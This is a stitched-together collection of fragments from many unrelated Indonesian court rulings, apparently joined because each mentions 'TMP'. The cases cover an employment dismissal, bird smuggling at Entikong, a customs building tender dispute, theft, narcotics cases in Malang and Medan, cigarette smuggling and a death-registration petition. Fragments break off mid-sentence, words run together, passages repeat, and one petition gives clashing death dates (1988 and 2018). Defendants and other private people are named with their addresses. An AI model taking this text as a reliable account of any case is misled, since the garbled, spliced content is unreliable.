, Sp.OT(K), M.Kes, Spesialis BedahTulang/Orthopedic RS Pertamina Balikpapan;Bahwa berdasarkan surat Penggugat No.2205/TMP/ADM/VII/2018tanggal 17 Juli 2018, RS Pertamina Balikpapan melalui Dr.ManaekP.

Trasindo Murni Perkasa,Nomor: 1014/TMP/ADM/VII/2017, perihal Laporan awalkecelakaan lalulintas karyawan PT. Trasindo Murni Perkasa,tanggal 21 Juli 2017;P7 : Fotocopy sesuai dengan asli Surat PT. Trasindo Murni Perkasa,Nomor: 2205/TMP/ADM/VII/2018, perihal Informasi kesehatanpasien An. Ilham Papadak karyawan PT.

/ADM/X/2015, atas nama Ilham Papadak,tanggal 9 Oktober 2015;T2 : Fotocopy sesuai dengan asli Certificate of Employment, No.131/APPM/TMP/X1/2015, atas nama Ilham Papadak, tanggal 9Oktober 2015;T3 : Fotocopy sesuai dengan asli Surat KeputusanNo.2255/TMP/HRDPHK/DIR/VII/2018, tentang PemutusanHubungan Kerja Karena Tidak Mampu Bekerja dan atau Sakityang Berkepanjangan (Medical UnFit), tanggal 26 Juli 2018;T4 : Fotocopy sesuai dengan asli Kwitansi Rumah Sakit PertaminaBalikpapan, No.

Transindo Murni Perkasa kepada Tergugat, Surat Nomor :2346/TMP/ADM/VIII/2018, tanggal 13 Agustus 2018, sebagaimanabukti P12;= Bahwa terdapat bukti Surat Permintaan Perundingan Secara Bipartit IIdari PT.

Transindo Murni Perkasa denganTergugat, maka Majelis Hakim berpendapat bahwa Surat PemutusanHubungan Kerja No.2255/TMP/HRDPHKIDIR/VII/2018, tertanggal 26 Juli2018 yang dikeluarkan oleh Penggugat dan berlaku mulai tanggal 31Juli 2018 sebagaimana bukti P9 dan T3 adalah sah dan berdasarkanhukum;Menimbang, bahwa oleh karena Surat Pemutusan Hubungan KerjaNo.2255/TMP/HRDPHK/DIR/VII/2018, tertanggal 26 Juli 2018 yangdikeluarkan oleh Penggugat dan berlaku mulai tanggal 31 Juli 2018 adalahsah, maka berdasarkan

dengan rincian (435 (empat ratus tiga puluh lima) ekor burung Kacer mati berdasarkan Berita Acara Pengawasan Barang Bukti Titipan tanggal 18 Oktober 2019 oleh Stasiun Karantina Pertanian Kelas I Entikong dan 5 (lima) ekor burung Kacer yang telah dilakukan penyisihan barang bukti berdasarkan Berita Acara Penyisihan Barang Bukti Nomor BA.SISIH-01/WBC.14/ KPP.MP/02/PPNS/2019 tanggal 18 Oktober 2019 yang kemudian mati sebagaimana Berita Acara Kematian Barang Bukti tanggal 20 Oktober 2019 oleh KPPBC TMP

C) Entikong bersama Saksi Ameng yang merupakanHonor KPPBC TMP C Entikong menerima informasi dari masyarakat akanadanya upaya pemasukan barang secara ilegal memalui Pos PengawasanSegumon.

Pak Us dan Agus Adiyarsah dari Malaysia, Saksi Johanes Marisandan Ameng yang dibantu oleh warga kemudian mengamankan Terdakwa danbarang bukti yakni 440 (empat ratus empat puluh) ekor burung Kacer untukselanjutnya dibawa ke Kantor Pengawasan dan Pelayanan Bea dan CukalTipe Madya Pabean C KPPBC TMP C) Entikong guna pemeriksaan lebihlanjut;Bahwa dari hasil pemeriksaan atas diri Terdakwa, 440 (empat ratus empatpuluh) ekor burung Kacer merupakan pesanan dari SELVI (DPO) yangberada di Pontianak dan Terdakwa

Adapun pada saat membongkarburung yakni 440 (empat ratus empat puluh) ekor burung Kacer asalMalaysia tersebut di daerah Segumon, Terdakwa tidak ada meminta izin dariKepala Kantor Pengawasan dan Pelayanan Bea dan Cukai Tipe MadyaPabean C KPPBC TMP C) Entikong;Berdasarkan keterangan AHLI HERI, Ahli menjelaskan bahwa tempatkejadian perkara pidana tersebut belum diajukan sebagai ataupun ditetapkansebagai kawasan pabean oleh Kepala KPPBC TMP C Entikong.

Ahli juga menjelaskan bahwa tempat kejadian perkara pidanatersebut belum pernah diajukan ataupun mendapatkan surat keputusanHalaman 3 dari 12 Putusan Nomor 80/PID.SUS/2020/PT PTKpersetujuan untuk bongkar barang impor oleh kepala KPPBC TMP CEntikong;Berdasarkan keterangan AHLI BAGUS ENDRO WIBOWO, Ahli menjelaskanketentuan pembongkaran barang impor menurut UndangUndang Nomor 10Tahun 1995 tentang Kepabeanan sebagaimana telah diubah denganUndangUndang Nomor 17 Tahun 2006 pasal 10A ayat (1) bahwa Barangimpor

burung Kacer dengan rincian (435(empat ratus tiga puluh lima) ekor burung Kacer mati berdasarkan BeritaAcara Pengawasan Barang Bukti Titipan tanggal 18 Oktober 2019 olehStasiun Karantina Pertanian Kelas Entikong dan 5 (lima) ekor burungKacer yang telah dilakukan penyisihan barang bukti berdasarkan BeritaAcara Penyisihan Barang Bukti Nomor BA.SISIH01/WBC.14/KPP.MP/02/PPNS/2019 tanggal 18 Oktober 2019 yangkemudian mati sebagaimana Berita Acara Kematian Barang Bukti tanggal20 Oktober 2019 oleh KPPBC TMP

(KPPBC TMP) Cikarang TahunAnggaran 2017 berdasarkan Berita Acara Hasil Pelelangan Nomor BA11/HP/POKJA.ULPD/WIII.1/2017 tanggal 8 Mei 2017 dan Berita AcaraPenetapan Pemenang Nomor BA11/PP/POKJA.

Bahwa Penggugat adalah peserta lelang pekerjaan Pengadaan PembangunanGedung Penunjang Kantor Pengawasan dan Pelayanan Bea dan Cukai TipeMadya Pabean (KPPBC TMP) Cikarang Tahun Anggaran 2017 berdasarkanpengumuman lelang yang diumumkan Tergugat melalui websitewww.lpse.kemenkeu.go.id.

Himindo Citra Mandiri terhadap pelelangan a quodinyatakan benar oleh Tergugat sehingga kemudian Tergugat melakukanEvaluasi Ulang pelelangan pekerjaan Pengadaan Pembangunan GedungPenunjang Kantor Pengawasan dan Pelayanan Bea dan Cukai Tipe MadyaPabean (KPPBC TMP) Cikarang Tahun Anggaran 2017.

Bahwa sebelum Tergugat memberikan tanggapan atas gugatanPenggugat, perlu kiranya Tergugat sampaikan terlebin dahulu halhalterkait Pengadaan Pekerjaan Konstruksi Pembangunan Gedung PenunjangKantor Pelayanan dan Pengawasan Sea dan Cukai Tipe Madya Pabean(KPPBC TMP) Cikarang Tahun Anggaran 2017 sebagai berikut:a.

Tahapan pemilihan Penyedia Barang/Jasa Pengadaan PekerjaanKonstruksi Pembangunan Gedung Penunjang Kantor Pelayanan danPengawasan Bea dan Cukai Tipe Madya Pabean (KPPBC TMP)Cikarang Tahun Anggaran 2017 dilaksanakan berdasarkan ketentuanPasal 57 ayat (1) huruf d Perpres 54/2010 beserta perubahannya:;b.

Setelah itu terdakwa pergi ke arah selatan menujuJalan Dr.Sutomo, selanjutnya berjalan ke arah Jalan Ahmad Yani timur,bertemu dengan temanteman terdakwa sesama pengamen, kemudianterdakwa diajak ke TMP.

Sesampainya di TMP terdakwa kepergok olehpetugas Kepolisian yang sedang melakukan patroli dan terdakwa mengakuiperbuatannya, selanjutnya terdakwa beserta barang bukti dibawa ke PolsekSananwetan.Perbuatan terdakwa melanggar dan diancam pidana sebagaimanadalampasal 363 (1) ke5 KUHP.Menimbang, bahwa untuk lebih membuktikan akan dakwaannyatersebut, Penuntut Umum dipersidangan telah mengajukan saksisaksinya :1.

Bendogerit Kec.Sananwetan Kota Blitar, Bahwa yang menjadi korban adalan saksi Sumaryono ; Bahwa pada awalnya saksi sedang mengadakan Patroli dibersama saksi Kartono di dekat TMP Kel Bendogerit Kota Blitarada orang ( terdakwa membawa gitar dan 2 dos dan saksimerasa curiga dan saksi mendekati pemuda itu sambil diajakkomunikasisampai mengetahui isi dos tersebut adala rokokberbagai merek, minuman aleale 1 dos, 1 renteng kopi ABC,energen sampolifeboy, 1 pak kuku bima dan 1 pak korek api,setelah ditanya

A Yanibertemu dengan teman sama pengamen dandiajak ke TMP, sesampainya di TMP saya kepergok olehpetugas Kepolisian yang sedang patroli dan saya mengakuiperbuatannya, selanjutnya terdakwa beserta barang buktidibawa ke Polsek Sananwetan.Bahwa benar terdakwa tidak ada ijin ;Bahwa benar saya sudah pernah dihukum .Menimbang, bahwa berdasarkan keterangan saksi, keteranganterdakwa dihubungkan dengan barang bukti yang diajukan ke mukapersidangan, maka diperoleh faktafakta hukum sebagai berikut :Bahwa terdakwa

Dbox pada hari Sabtutanggal 18 Pebruari 2017 sekira pukul 19.00 Wib, atau setidaktidaknya pada waktulain dalam bulan Pebruari 2017, bertempat di TMP Suropati JI. rumah BedengJI.Kadaka, Kecamatan Lowokwaru Kota Malang, atau setidaknya pada suatu tempatdalam daerah hukum Pengadilan Negeri Malang, tanpa hak dan melawan hukummenawarkan untuk dijual, menjual, membeli, menerima, menjadi perantara dalam jualHalaman 2 dari 12 Putusan Nomor 274/Pid.

Dbox pada hariSabtu tanggal 18 Pebruari 2017 sekira pukul 19.00 Wib, atau setidaktidaknyapada waktu lain dalam bulan Pebruari 2017, bertempat di TMP Suropati Jl.Halaman 3 dari 12 Putusan Nomor 274/Pid.

Ipon di daerah TMP JI.BogorKota Malang, setelah tiba ditepi jalan Bogor Kota Malang saksi Ipon (berkasterpisah) telah menunggu setelah menyerahkan 3 plastik klip berisi ganjatersebut terdakwa dan saksi Dody.S Bin Winarso kembali ke Bedeng danmeminum minuman keras, sekira pukul 19.00 wib terdakwa dan rekannyaDody.S Bin Winarso didatangi petugas Kepolisian dari Polres Malang Kota dandilakukan penangkapan.

Ipon didaerah TMP JI. Bogorsepulangnya dari situ saksi dan terdakwa kembali ke bengkel dandisitulah kemudian keduanya ditangkap petugas kepolisian NarkobaPolres MALang kota.Bahwa saksi dan terdakwa biasanya menggunakan ganja tersebutsecara bersama sama dengan terdakwa.

REZA NOVIANTO als IPON sebanyak 3 (tiga) plastik klip kecil berisi ganjaRp. 300.000, (tiga ratus ribu rupiah) pada hari Sabtu) tanggal 18 Februari2017 sekira pukul 14.30 wib yang diserahkan di tepi jalan depan TMP SuropatiJI. Bogor Kec. Klojen Kota Malang.Halaman 6 dari 12 Putusan Nomor 274/Pid.

RIKI yang saat itu sedangmemegang 1 slop rokok (1 slop isi 10 bungkus; 1 bungkus isi 20 batang)langsung melarikan diri dari petugas dengan membawa 1 slop rokok ditangannya dan selanjutnya dikejar oleh petugas KPPBC TMP B BandarLampung langsung, namun tidak tertangkap; Bahwa selanjutnya petugas KPPBC TMP B Bandar Lampung kemudianmeminta ijin kepada Terdakwa dan Saksi SUDARYANTO Als SUDARuntukmelakukan pemeriksaan terhadap barang muatan yang dibawa Mobil ToyotaKijang Super warna putin nopol BE 2578

isi 20 batang)langsung melarikan diri dari petugas dengan membawa 1 slop rokok ditangannya tersebut; Bahwa saksi melihat petugas KPPBC TMP B Bandar Lampung yaitusaksi Tuah Saidy Mardhona S mengejar orang tersebut, namun tidaktertangkap; Bahwa kemudian saksi dan petugas KPPBC TMP B Bandar Lampungmenanyakan identitas kepada 2 (dua) orang yang diamankan di lokasi,yang kemudian mengaku bernama terdakwa Ruziniat alias Aji dan Sdr.Halaman 18 dari 77 Putusan Nomor 1488/Pid.B/2018/PN TjkSudaryanto Alias

Riki; Bahwa saksi dan petugas KPPBC TMP B Bandar Lampung kemudianmeminta ijin kepada terdakwa Ruziniat alias Aji dan Sdr.

RIKI yang saat itusedang memegang 1 slop rokok (1 slop isi 10 bungkus; 1 bungkus tsi 20 batang)langsung melarikan diri dari petugas dengan membawa 1 slop rokok ditangannya dan selanjutnya dikejar oleh petugas KPPBC TMP B BandarLampung langsung, namun tidak tertangkap.

Satu unit Apartemen Kalibata Residences, Tower C, lantai 19 unit BJ, diJalan TMP Pahlawan Nomor 1, Kelurahan Duren Tiga, KecamatanMampang, Kota Jakarta Selatan, atas nama Yulius Isyudianto;1.7. Satu unit Apartemen Kalibata Residences, Tower C, lantai 19 unit BK, diJalan TMP Pahlawan Nomor 1, Kelurahan Duren Tiga, KecamatanMampang, Kota Jakarta Selatan;1.8.

Satu unit Apartemen Kalibata Residences, Tower C, lantai 19 unit BL, diJalan TMP Pahlawan Nomor 1 Kelurahan Duren Tiga, KecamatanMampang, Kota Jakarta Selatan, atas nama Yulius Isyudianto;1.9.

yang terletak di Desa Sinduadi, KecamatanMelati, Kabupaten Sleman, Propinsi Daerah Istimewa Yogyakarta,sebagaimana ternyata dalam SHM Nomor 3690/Sindiadi, atas namaYulius Isyudianto;Satu unit Apartemen Kalibata Residences, Tower C, lantai 19 unit BJ,di Jalan TMP Pahlawan Nomor 1, Kelurahan Duren Tiga, KecamatanMampang, Kota Jakarta Selatan, atas nama Yulius Isyudianto;Satu unit Apartemen Kalibata Residences, Tower C, lantai 19 unit BK,di Jalan TMP Pahlawan Nomor 1, Kelurahan Duren Tiga, KecamatanMampang

, Kota Jakarta Selatan, atas nama Yulius Isyudianto;Satu unit Apartemen Kalibata Residences, Tower C, lantai 19 unit BK, diJalan TMP Pahlawan Nomor 1, Kelurahan Duren Tiga, KecamatanMampang, Kota Jakarta Selatan;Satu unit Apartemen Kalibata Residences, Tower C, lantai 19 unit BL, diJalan TMP Pahlawan Nomor 1 Kelurahan Duren Tiga, KecamatanMampang, Kota Jakarta Selatan, atas nama Yulius Isyudianto;Hal. 7 dari 38 halaman Putusan Nomor 1401 K/Pdt/2013.i.

Duren Tiga, KecamatanMampang, Kota Jakarta Selatan, atas nama Yulius Isyudianto, (bukti P11);10,1 (satu) unit Apartemen Kalibata Residences, Tower C, lantai 19 unitBK, di Jalan TMP Pahlawan Nomor 1, Kelurahan Duren Tiga, KecamatanMampang, Kota Jakarta Selatan, (bukti P12);1 (satu) unit Apartemen Kalibata Residences, Tower C, lantai 19 unit BL, diJalan TMP Pahlawan Nomor 1 Kelurahan Duren Tiga, Kecamatan Mampang,Kota Jakarta Selatan, atas nama Yulius Isyudianto, (bukti P13);1 (satu) unit Rumah Susun

bahwa Para Terdakwa diajukan ke persidangan olehPenuntut Umum didakwa berdasarkan surat dakwaan sebagai berikut:PERTAMABahwa la, Terdakwa .ALEMSYAH TANJUNG Alias ALEMdan Terdakwa Il.AGUS SALIM Alias AGUS dan Saksi Erlina Alias Lena (dilakukan penuntutandalam berkas perkara terpisah), pada hari Jumat tanggal 14 Pebruari 2020sekira pukul 10.00 Wib atau setidaktidaknya pada waktu lain dalam bulanPebruari Tahun 2020 atau setidaktidaknya pada waktu lain dalam Tahun 2020,bertempat di bertempat di Jalan TMP

Sinuhaji, Bripka Alex Andarius dan Bripka Rahmad Daniel atas dugaanmenjual, membeli, memiliki, menguasai dan menyalahgunakan NarkotikaGolongan jenis sabusabu dimana penangkapan Terdakwa I, Terdakwa II dansaksi Erlina Alias Lena berdasarkan informasi masyarakat yangmenginformasikan bahwa di dalam sebuah rumah kosong di Jalan TMP LorongKenanga Lk. 28 Kelurahan Belawan Kecamatan Medan Belawan Kota Medanselanjutnya selanjutnya saksi Aiptu Irham Faisal, saksi Aipda S. S.

Sinuhaji, Bripbka Alex Andarius dan Bripka Rahmad Daniel atas dugaanmenjual, membeli, memiliki, menguasai dan menyalahgunakan NarkotikaGolongan jenis sabusabu dimana penangkapan Terdakwa I, Terdakwa II dansaksi Erlina Alias Lena berdasarkan informasi masyarakat yangmenginformasikan bahwa di dalam sebuah rumah kosong di Jalan TMP LorongKenanga Lk. 28 Kelurahan Belawan Kecamatan Medan Belawan Kota Medanselanjutnya selanjutnya saksi Aiptu Irham Faisal, saksi Aipda S. S.

ERLINA Alias LENA, dibawah sumpah pada pokoknya menerangkansebagai berikut:Bahwa pada hari Jumat tanggal 14 Februari 2020 sekira pukul 10.00 WIBbertempat di sebuah rumah kosong yang beralamat di Jalan TMP LorongKenanga Lk. 28 Kelurahan Belawan Kecamatan Medan Belawan KotaMedan, Para Terdakwa, Muhammad Irfan Alias Irfan dan Mulia Darma AliasDarma (masingmasing dilakukan penuntutan dalam berkas perkaraterpisah) telah ditangkap olen anggota Sat Narkoba Polres PelabuhanBelawan;Bahwa barang bukti yang

) KartuMerek: Lenovo Model: A536 Warna: Putih, Nomor IMEI:866161020566611 dan Nomor IMEI: 866161020566629, satu buahdompet kulit imitasi warna coklat merk EIGER beserta isinya, serta ResiPengiriman Rokok yang disamarkan informasi/uraian jenis barangnyadengan uraian: Kerupuk Mentah dengan Nomor: DMK10000430merupakan barang hasil penindakan tim penindakan KPPBC TMP B Jambidi PT.

Indah Kargo Logistik Jambi; Bahwa satu unit Mobil Suzuki Splash warna biru metalik dengan nomorpolisi BH 1179 HY yang digunakan oleh Terdakwa pada saat penindakanbeserta satu buah anak kunci dan satu lembar Surat Tanda NomorKendaraan Nomor: 15521765.A, merupakan barang hasil penindakanyang dilakukan tim penindakan KPPBC TMP B Jambi di PT.

Sus/2019/PN.JmbKendaraan Nomor: 15521765.A, merupakan barang hasil penindakanyang dilakukan tim penindakan KPPBC TMP B Jambi di PT. Indah KargoLogistik Jambi;Terhadap keterangan saksi tersebut, Terdakwa menyatakan tidak keberatandan membenarkannya;3. Widodo Sungkono di bawah sumpah pada pokoknya menerangkansebagai berikut: Bahwa saksi adalah Kepala Cabang PT.

Aris (Alm), lalusetelah Terdakwa mengambil paket ia masukkan paket tersebut kedalammobil yang dikendarai oleh Terdakwa; Bahwa sekira pukul 09.30 WIB datang Tim Penindakan dan PenyidikanKPPBC TMP B Jambi, kemudian memperkenalkan diri dan menunjukkansurat perintah kemudian melakukan penangkapan atau penindakanterhadap Terdakwa; Bahwa sebelumnya pernah ada beberapa kali pegiriman rokok dari jawayaitu dari Malang melalui jasa pengiriman di PT.

TMP Taruna, Tangerang pada hari : KAMIStanggal 20 September 2018, Jam 09.00 Wib, dalam perkara gugatan antara:HENGKY CHANDRAALI JAYA : Tempat/Tanggal Lahir Jakarta 06 Mei 1954,Umur 64 tahun, Jenis Kelamin Lakilaki, Agama Khatolik,Warganegara Indonesia, Alamat Desa Talaga, KecamatanCikupa Kabupaten Tangerang, Banten, Pekerjaan Wiraswasta,Status Kawin Kawin, Pendidikan SMA, dalam hal ini diwakilioleh kuasanya Frans M.T.

TMP Taruna, Tangerang pada hari : KAMIStanggal 11 Oktober 2018, Jam 09.00 Wib, dalam perkara gugatan antara:HENGKY CHANDRAALI JAYA, selanjutnya disebut sebagai: PENGGUGAT ;Melawan:1. NGONSO BUDIONO GUNAWAN, selanjutnya disebut sebagai: 2. FENNY POLII, selanjutnya disebut sebagai: TERGUGAT II ;3. AGUS SUGIONO, selanjutnya disebut sebagai: TERGUGAT III ;4. KEPALA KANTOR PERT ANAHAN KABUPATEN TANGERANG, selanjutnyadisebut sebagai: TURUT TERGUGAT ;SUSUNAN PERSIDANGAN : HALOMOAN SIANTURI,SH.MH.

TMP Taruna, Tangerang pada hari : RABUtanggal 31 Oktober 2018, Jam 09.00 Wib, dalam perkara gugatan antara:HENGKY CHANDRAALI JAYA, selanjutnya disebut sebagai: PENGGUGAT ;Melawan:1. NGONSO BUDIONO GUNAWAN, selanjutnya disebut sebagai: 2. FENNY POLII, selanjutnya disebut sebagai: TERGUGAT II ;3. AGUS SUGIONO, selanjutnya disebut sebagai: TERGUGAT III ;4. KEPALA KANTOR PERT ANAHAN KABUPATEN TANGERANG, selanjutnyadisebut sebagai: TURUT TERGUGAT ;SUSUNAN PERSIDANGAN : HALOMOAN SIANTURI,SH.MH.

TMP Taruna, Tangerang pada hari : RABUtanggal 07 Nopember 2018, Jam 09.00 Wib, dalam perkara gugatan antara:HENGKY CHANDRAALI JAYA, selanjutnya disebut sebagai: PENGGUGAT ;Melawan:1. NGONSO BUDIONO GUNAWAN, selanjutnya disebut sebagai: 2. FENNY POLII, selanjutnya disebut sebagai: TERGUGAT II ;3. AGUS SUGIONO, selanjutnya disebut sebagai: TERGUGAT III ;4. KEPALA KANTOR PERT ANAHAN KABUPATEN TANGERANG, selanjutnyadisebut sebagai: TURUT TERGUGAT ;SUSUNAN PERSIDANGAN : HALOMOAN SIANTURI, SH.MH.

TMP Taruna, Tangerang pada hari : RABUtanggal 27 Februari 2019, Jam 09.00 Wib, dalam perkara gugatan antara:HENGKY CHANDRAALI JAYA, selanjutnya disebut sebagai: PENGGUGAT ;Melawan:1. NGONSO BUDIONO GUNAWAN, selanjutnya disebut sebagai: wanna nnn nanan nn nan nnn nnn nnn nn nnn nn nn nn nnn nnn ee nnn ene nnn nee een TERGUGAT I;2. FENNY POLII, selanjutnya disebut sebagai: TERGUGAT II ;3. AGUS SUGIONO, selanjutnya disebut sebagai: TERGUGAT III ;4.

PUTUSANNomor 2123/Pid.Sus/2020/PN MdnDEMI KEADILAN BERDASARKAN KETUHANAN YANG MAHA ESAPengadilan Negeri Medan yang mengadili perkara pidana dengan acarapemeriksaan biasa dalam tingkat pertama menjatuhkan putusan sebagai berikutdalam perkara Terdakwa:Nama lengkap : Erlina Alias Lena;Tempat lahir : Belawan;Umur/Tanggal lahir : 46 tahun/23 Desember 1973;Jenis kelamin : Perempuan;Kebangsaan : Indonesia;Tempat tinggal : Jalan TMP Lorong Papan Lk. 28 Kel. Belawan ;Kec.

Perbuatan tersebut dilakukanoleh terdakwa dengan cara:Bahwa pada waktu dan tempat tersebut diatas berdasarkan infromasimasyarakat tentang adanya transaksi jual belli narkotika dan tempatmengunakan shabu di sebuah rumah di Jalan TMP Lorong KenangaLingkungan 28 Kelurahan Belawan Kec.

OO Wib Tempatnya di Jalan TMP Lorong KenangaLk 28, Kel. Belawan I, Kec. Medan Belawan Kota Medan;" Bahwa pada hari pada hari Jumat tanggal 14 Februari 2020 sekirapukul 10. OO Wib Tempatnya di Jalan TMP Lorong Kenanga Lk 28, Kel.Belawan I, Kec.

Terhadap keterangan saksi, Terdakwa memberikan pendapat tidakkeberatan;Menimbang, bahwa Terdakwa di persidangan telah memberikanketerangan yang pada pokoknya sebagai berikut: Bahwa Terdakwa ditangkap oleh Petugas Kepolisian dari PolrestabesPelabuhan Belawan pada hari Jumat tanggal 14 Februari 2020 sekira pukul10. 00 Wib Tempatnya di Jalan TMP Lorong Kenanga Lk 28, Kel. Belawan ,Kec.

Sedangkanganja terdaftar dalam Golongan (Satu) nomor urut 8 Lampiran Undangundang Republik Indonesia Nomor 35 Tahun 2009 tentang Narkotika;Menimbang, bahwa berdasarkan fakta yang terungkap dipersidangan,Terdakwa ditangkap oleh Petugas Kepolisian dari Polres Pelabuhan Belawanpada hari Jumat tanggal 14 Februari 2020 sekitar pukul 10.00 WIB bertempat diJalan TMP Lorong Kenanga Lingkungan 28 Kelurahan Belawan Kec.

Menetapkan bahwa di MagersariNgebrakGarum pada tanggal 1 Agustus1988 telah meninggal dunia seorang lakilaki bernama Kartomo karena sakitdan dikebumikan di Pemakaman TMP Blitar. Memerintahkan kepada Pegawai Kantor Catatan Sipil Malang untukmencatat tentang kematian tersebut dalam buku register catatan sipil yangberlaku bagi Warga Negara Indonesia dan sekaligus dapat menerbitkanAkte Kematian atas nama Kartomo tersebut.

segalasesuatu yang termuat dalam berita acara persidangan dianggap termuat didalampenetapan ini ;TENTANG PERTIMBANGAN HUKUMMenimbang, bahwa maksud dan tujuan permohonan Pemohon adalahseperti tersebut diatas ;Menimbang, bahwa setelah membaca dan mempelajari Surat permohonanPemohon pada pokoknya Pemohon mohon agar Pengadilan Negeri Malangmenetapkan seorang lakilaki bernama KARTOMO telah meninggal dunia padatanggal 1 Agustus 1988 di Magersari Ngebrak Garum Blitar, dan telahdimakamkan di Pemakaman TMP

formulir pelaporankematian atas nama KARTOMO, surat pernyataan telah meninggal dunia atasnama KARTOMO, tanggal: 1 Agustus 1988 dan surat penerbitan akta kematian,Malang, 28 September 2018, dengan demikian hubungan pemohon denganKARTOMO adalah pemohon merupakan istri dari KARTOMO sehingga pemohonmengajukan permohonan ke Pengadilan Negeri Malang agar menetapkan seoranglakilaki bernama KARTOMO telah meninggal dunia pada tanggal 1 Agustus 1988di Magersari Ngebrak Garum Blitar dan telah dimakamkan di TMP

berdasarkan surat bukti P4 yaitu Surat PenerbitanAkta Kematian, Dinas Kependudukan dan Pencatatan Sipil Kota malang, atasnama KARTOMO dan berdasarkan keterangan dari saksiSaksi juga menerangkanbahwa suami pemohon yang bernama KARTOMO telah meninggal dunia tanggal 1Agustus 2018 di Magersari Ngebrak Garum Blitar dan telah dimakamkan diTMP Blitar, dengan demikian benar bahwa seorang bernama KARTOMO telahmeninggal dunia pada tanggal 1 Agustus 2018 di Magersari Ngebrak Garum Blitar dan telah dimakamkan TMP

Menetapkan bahwa di MagersariNgebrakGarum pada tanggal 1 Agustus1988 telah meninggal dunia seorang lakilaki bernama Kartomo karena sakitdan dikebumikan di Pemakaman TMP Blitar.3. Memerintahkan kepada Pegawai Kantor Catatan Sipil Malang untuk mencatattentang kematian tersebut dalam buku register catatan sipil yang berlaku bagiWarga Negara Indonesia dan sekaligus dapat menerbitkan Akte Kematian atasnama Kartomo tersebut.4.

PtkSelanjutnya, terdakwa berikut 2 (dua) slop atau 20 (dua puluh) bungkus rokokmerek PIN CLASSIC kemudian dibawa ke Kantor Pengawasan dan Pelayanan Beadan Cukai TMP B Pontianak dan ketika dilakukan pengembangan kasus di KantorPengawasan dan Pelayanan Bea dan Cukai TMP B Pontianak, terdakwamenyampaikan kepada saksi Bisma Sandhi Yudhanto, saksi Paypu Seno Aji, dansaksi Rendra Mulya bahwa terdakwa masih menyediakan rokok merek PINCLASSIC yang dilekati pita cukai palsu untuk dijual, yang mana oleh terdakwa

Bahwa selanjutnya mobil DaihatsuGrand Max Nopol AB 1720 LN dan 3.154 (tiga ribu seratus lima puluh empat)bungkus rokok merek PIN CLASSIC diamankan dan dibawa ke KantorPengawasan dan Pelayanan Bea dan Cukai TMP B Pontianak guna dilakukanpemeriksaan lebih jauh.Bahwa terdakwa dapat memiliki rokok merek PIN CLASSIC yang dilekati pita cukaipalsu dengan cara terdakwa memesan rokok tersebut kepada sdr.

Heru (masingmasingdalam Daftar Pencarian Orang) di Jepara.Selanjutnya, terdakwa berikut 2 (dua) slop atau 20 (dua puluh) bungkus rokokmerek PIN CLASSIC kemudian dibawa ke Kantor Pengawasan dan Pelayanan Beadan Cukai TMP B Pontianak dan ketika dilakukan pengembangan kasus di KantorPengawasan dan Pelayanan Bea dan Cukai TMP B Pontianak, terdakwamenyampaikan kepada saksi Bisma Sandhi Yudhanto, saksi Paypu Seno Aji, dansaksi Rendra Mulya bahwa terdakwa masih memiliki rokok merek PIN CLASSICyang dilekati

PAYPU SENO AJI , di bawah sumpah pada pokoknya menerangkan sebagaiberikut;Bahwa Saksi menerangkan adalah Pegawai Negeri Sipil pada KPPBC TMP BPontianak yang bertugas di unit Penindakan dan Penyidikan.Bahwa Saksi telah melakukan penindakan terhadap terdakwa dimana penindakandilakukan di Rumah Makan Warung Kopi, Jalan Jend.

B Pontianak;Bahwa benar ketika dilakukan pengembangan kasus di Kantor Pengawasan danPelayanan Bea dan Cukai TMP B Pontianak, terdakwa menyampaikan kepadaHal 22 dari 32 hal Putusan No. 329/Pid.Sus/2019/PN.

Endang Wendi Yanti dariTerdakwa melalui komunikasi PDE (Pertukaran Data Elektronik) atau EDI(Electronic Data Interchange) ke Sistem Komputer Pelayanan (SKP) KantorPengawasan dan Pelayanan Bea dan Cukai Tipe Madya Pabean A Purwakarta(KPPBC TMP A Purwakarta), seolaholah benar PT.

hal impor ekspor;Bahwa tugas dan kewenangan Saksi sebagai pelaksana pemeriksa padaSeksi Penindakan dan Penyidikan KPPBC TMP A Purwakarta diantaranyaadalah mengumpulkan data dan informasi serta melaksanakan operasidalam rangka penindakan pelanggaran di bidang kepabeanan dan cukaiyang wilayahnya di bawah pengawasan KPPBC TMP A Purwakarta,dalam melaksanakan tugas seharihari Saksi bertanggung jawab kepadaatasan langsung Saksi yaitu Kepala Sub Seksi Penindakan dan saranaOperasi dan Kepala Seksi P2 KPPBC

TMP A Purwakarta;Bahwa berdasarkan data yang dimiliki KPPBC TMP A Purwakarta saat ini,jumlah perusahaan penerima fasilitas kawasan berikat yang diawasisebanyak 153 (seratus lima puluh tiga) perusahaan yang berlokasi di 3(tiga) Kabupaten, yaitu Karawang, Subang dan Purwakarta;Bahwa setahu Saksi, PT.

Youme Indonesia dengan container nomorHalaman 12 dari 59 Putusan Nomor 32/Pid.B/2016/PN PwkTCNU6070253/40 dan/atau dokumen pelengkap pabean yang palsuatau dipalsukan;Bahwa pada saat ini Saksi bekerja sebagai PNS direktorat Jenderal Beadan Cukai, Jabatan Saksi adalah pelaksana pemeriksa pada SeksiPenindakan dan Penyidikan KPPBC TMP A Purwakarta sejak tahun2013 smpai dengan sekarang;Bahwa tugas dan kewenangan Saksi sebagai pelaksana pemeriksapada Seksi Penindakan dan Penyidikan KPPBC TMP Purwakartadiantaranya

berdasarkan data yang dimiliki KPPBC TMP A Purwakarta saatini, jumlah perusahaan penerima fasilitas kawasan berikat yang diawasisebanyak 153 (seratus lima puluh tiga) perusahaan yang berlokasi di 3(tiga) Kabupaten, yaitu Karawang, Subang dan Purwakarta;Bahwa PT.

Bahwa tanggal 26 Oktober 2011 sekira pukul 06.05 Wita Terdakwabersama Saski I, Saksi II PNS Nining Handayani, PNS Ni NyomanSuasning, Saksi V dan Saksi IV dengan mengendarai/ kendaraan ......kendaraan Suzuki Carry 1.3 Futura warna hijau No.reg. 8504IX berangkatdari Ma Kudam IX/Udy untuk Ziarah ke TMP Pancaka Tirta di Tabanandalam rangka HUT Corp Keuangan yang ke 66 tahun 2011, pada saatberangkat yang mengemudikan kendaraan adalah Saksi III.c.

